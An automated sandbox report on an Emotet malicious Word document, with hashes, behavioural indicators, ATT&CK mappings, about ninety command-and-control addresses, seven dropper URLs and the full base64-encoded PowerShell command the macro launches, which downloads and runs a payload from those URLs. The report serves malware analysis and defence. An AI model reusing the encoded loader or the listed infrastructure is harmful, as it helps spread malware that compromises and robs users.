emotet | 2a17a0bcb3ed1f0bbc6df20f64db1e8c7cfef71e891012fa303ab3bc0de7b0f4

Analysis

max time kernel
135s
max time network
151s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 22:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e1_2a17a0bcb3ed1f0bbc6df20f64db1e8c7cfef71e891012fa303ab3bc0de7b0f4_2020-09-17__221037._doc.doc
Size 251KB
Sample200917-2cnhhcvy2x
SHA256 2a17a0bcb3ed1f0bbc6df20f64db1e8c7cfef71e891012fa303ab3bc0de7b0f4
MD5 18416f6484454570160139fabd575d9b
SHA1 c3b42c6d4c7e13452e70ca59861c59e6e11b4cd5
SHA512 6feffb5d90b4fa2cedc56c831810995e2b9c34e19570fefac7a391bdaa81ed77e91cfd0426a095ec8ac2ea8aed407ee3bfac6b6c70a0da841c4e8963effe19e2
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://hoagietesting10.com/wp-content/SJ/
exe.dropper
http://iscamenabe.com/wp-content/1PR/
exe.dropper
http://vietmade.org/wp-admin/8/
exe.dropper
http://www.filamchimovies.com/wp-admin/8/
exe.dropper
https://strattonmobile.com/wp-content/yl/
exe.dropper
https://blog.qgdxzs.com/wp-admin/I/
exe.dropper
http://vietsex.pro/wp-content/PX/

Extracted

Family

emotet

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1740	2996	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3612-15-0x0000000002140000-0x0000000002152000-memory.dmp	emotet
behavioral2/memory/3612-15-0x0000000002140000-0x0000000002152000-memory.dmp	emotet
behavioral2/memory/3612-16-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/3612-16-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/1744-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1744-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1744-19-0x0000000000650000-0x0000000000662000-memory.dmp	emotet
behavioral2/memory/1744-19-0x0000000000650000-0x0000000000662000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1740	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3612	Eh5uuijjk.exe
1744	OnDemandBrokerClient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sfc\OnDemandBrokerClient.exe	Eh5uuijjk.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3788	WINWORD.EXE
3788	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1740	powershell.exe
1740	powershell.exe
1740	powershell.exe
1744	OnDemandBrokerClient.exe
1744	OnDemandBrokerClient.exe
1744	OnDemandBrokerClient.exe
1744	OnDemandBrokerClient.exe
1744	OnDemandBrokerClient.exe
1744	OnDemandBrokerClient.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE
3788	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 3612	1740	powershell.exe	79
PID 1740 wrote to memory of 3612	1740	powershell.exe	79
PID 1740 wrote to memory of 3612	1740	powershell.exe	79
PID 3612 wrote to memory of 1744	3612	Eh5uuijjk.exe	82
PID 3612 wrote to memory of 1744	3612	Eh5uuijjk.exe	82
PID 3612 wrote to memory of 1744	3612	Eh5uuijjk.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2a17a0bcb3ed1f0bbc6df20f64db1e8c7cfef71e891012fa303ab3bc0de7b0f4_2020-09-17__221037._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADkAXwBvAGUAeQA2AD0AKAAoACcAQgAnACsAJwBsAGgAJwApACsAJwBnAHoAJwArACcANABvACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBQAFIATwBmAEkATABFAFwAcQA3AGMAVgBtAGcANQBcAGgAdgA3ADQAeAA2AEwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAEkAYABUAHkAUAByAE8AVABgAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwArACcAMQAnACkAKwAnACwAJwArACcAIAB0ACcAKwAnAGwAJwArACcAcwAnACkAOwAkAEUAOAAyADgAbABlADAAIAA9ACAAKAAoACcARQAnACsAJwBoADUAdQAnACkAKwAnAHUAJwArACgAJwBpACcAKwAnAGoAagBrACcAKQApADsAJABMADEANAB5AGEAbAB3AD0AKAAnAEUAbwAnACsAJwBlAHUAJwArACgAJwBqAF8AJwArACcAYgAnACkAKQA7ACQATABkAGwAMQBrAHoAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADkATQAnACsAJwBIAFEANwBjAHYAbQBnACcAKwAnADUAJwApACsAJwA5ACcAKwAnAE0ASAAnACsAJwBIAHYAJwArACcANwAnACsAKAAnADQAeAA2AGwAJwArACcAOQBNAEgAJwApACkALQByAEUAUABMAEEAQwBFACAAIAAoACcAOQBNACcAKwAnAEgAJwApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUAOAAyADgAbABlADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AYgBfAHgAdAByAGgAPQAoACgAJwBRAHEAJwArACcAYgAnACkAKwAoACcAMwB5AHMAJwArACcAeQAnACkAKQA7ACQAVgB1AHQAcAByAHEAbgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBDAGwAaQBFAE4AVAA7ACQATwBzADAAbgBjAHEAMQA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAbwAnACkAKwAnAGEAZwAnACsAKAAnAGkAZQAnACsAJwB0ACcAKwAnAGUAcwB0AGkAJwApACsAJwBuAGcAJwArACcAMQAnACsAKAAnADAALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AUwBKACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvACcAKwAnAGkAJwArACcAcwBjAGEAJwArACcAbQBlACcAKwAnAG4AYQAnACkAKwAoACcAYgAnACsAJwBlAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQAnACsAJwBQACcAKwAnAFIALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB2AGkAZQB0AG0AJwApACsAJwBhAGQAJwArACcAZQAuACcAKwAnAG8AJwArACcAcgAnACsAKAAnAGcAJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAOAAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHcAJwArACcAdwB3ACcAKQArACcALgAnACsAKAAnAGYAaQAnACsAJwBsAGEAJwArACcAbQBjACcAKQArACcAaAAnACsAKAAnAGkAbQAnACsAJwBvACcAKQArACgAJwB2AGkAZQBzACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4AJwApACsAKAAnAC8AOAAnACsAJwAvACoAJwArACcAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwBzACcAKwAnAHQAJwApACsAKAAnAHIAYQAnACsAJwB0AHQAJwApACsAJwBvACcAKwAnAG4AbQAnACsAJwBvACcAKwAnAGIAJwArACcAaQBsACcAKwAoACcAZQAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAoACcAdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAnAC8AeQAnACsAKAAnAGwAJwArACcALwAqACcAKwAnAGgAdAB0AHAAcwAnACkAKwAoACcAOgAvAC8AYgAnACsAJwBsACcAKQArACcAbwBnACcAKwAnAC4AcQAnACsAKAAnAGcAZAB4AHoAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBJACcAKwAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6ACcAKwAnAC8ALwB2AGkAJwArACcAZQB0AHMAJwApACsAKAAnAGUAeAAnACsAJwAuACcAKQArACcAcAAnACsAJwByACcAKwAoACcAbwAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAFAAWAAnACsAJwAvACcAKQApAC4AIgBzAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAYgBpAGYAYwBvAGsAPQAoACcATwBnACcAKwAoACcAeABhACcAKwAnADUAdwAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBlAHYAcQBxAHcANQAgAGkAbgAgACQATwBzADAAbgBjAHEAMQApAHsAdAByAHkAewAkAFYAdQB0AHAAcgBxAG4ALgAiAGQATwBgAHcAYABOAGwATwBBAGQARgBpAEwARQAiACgAJABCAGUAdgBxAHEAdwA1ACwAIAAkAEwAZABsADEAawB6AHEAKQA7ACQATgBuADEAaQBrAHgAdgA9ACgAJwBOACcAKwAoACcANgAnACsAJwBhAHYAawAnACsAJwA1ADYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABkAGwAMQBrAHoAcQApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMwAyADAAOAApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABMAGQAbAAxAGsAegBxACkAOwAkAEsAcgBpADMANwBlAGUAPQAoACcAQwAnACsAKAAnAGMAJwArACcAbQA1AGgAZQAnACsAJwBiACcAKQApADsAYgByAGUAYQBrADsAJABGAGoAbAAzAHEAcQByAD0AKAAoACcASAB4ACcAKwAnAGgAbgAnACkAKwAnADEAJwArACcAdgAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBrAHEAZQAxAGMAeAA9ACgAKAAnAFAAcgAnACsAJwBmAHUAagBlACcAKQArACcAbAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe
  "C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\SysWOW64\sfc\OnDemandBrokerClient.exe
    "C:\Windows\SysWOW64\sfc\OnDemandBrokerClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1740-9-0x00007FF9C2CE0000-0x00007FF9C36CC000-memory.dmp

Download

memory/1740-11-0x000001B9E9BA0000-0x000001B9E9BA1000-memory.dmp

Download

memory/1740-10-0x000001B9E99D0000-0x000001B9E99D1000-memory.dmp

Download

memory/1744-19-0x0000000000650000-0x0000000000662000-memory.dmp

Download

memory/1744-20-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/3612-15-0x0000000002140000-0x0000000002152000-memory.dmp

Download

memory/3612-16-0x00000000004A0000-0x00000000004B0000-memory.dmp

Download

memory/3788-8-0x000001C9CFDB0000-0x000001C9CFDBC000-memory.dmp

Download

memory/3788-7-0x000001C9CFDB0000-0x000001C9CFDBC000-memory.dmp

Download

memory/3788-6-0x000001C9CFDB0000-0x000001C9CFDBC000-memory.dmp

Download

memory/3788-5-0x000001C9C5C2A000-0x000001C9C5C4B000-memory.dmp

Download

memory/3788-0-0x00007FF9D10D0000-0x00007FF9D1796000-memory.dmp

Download

memory/3788-4-0x000001C9CFC08000-0x000001C9CFC0B000-memory.dmp

Download

memory/3788-3-0x000001C9CFC05000-0x000001C9CFC08000-memory.dmp

Download

memory/3788-2-0x000001C9CFC05000-0x000001C9CFC08000-memory.dmp

Download

memory/3788-1-0x000001C9CFC08000-0x000001C9CFC0B000-memory.dmp

Download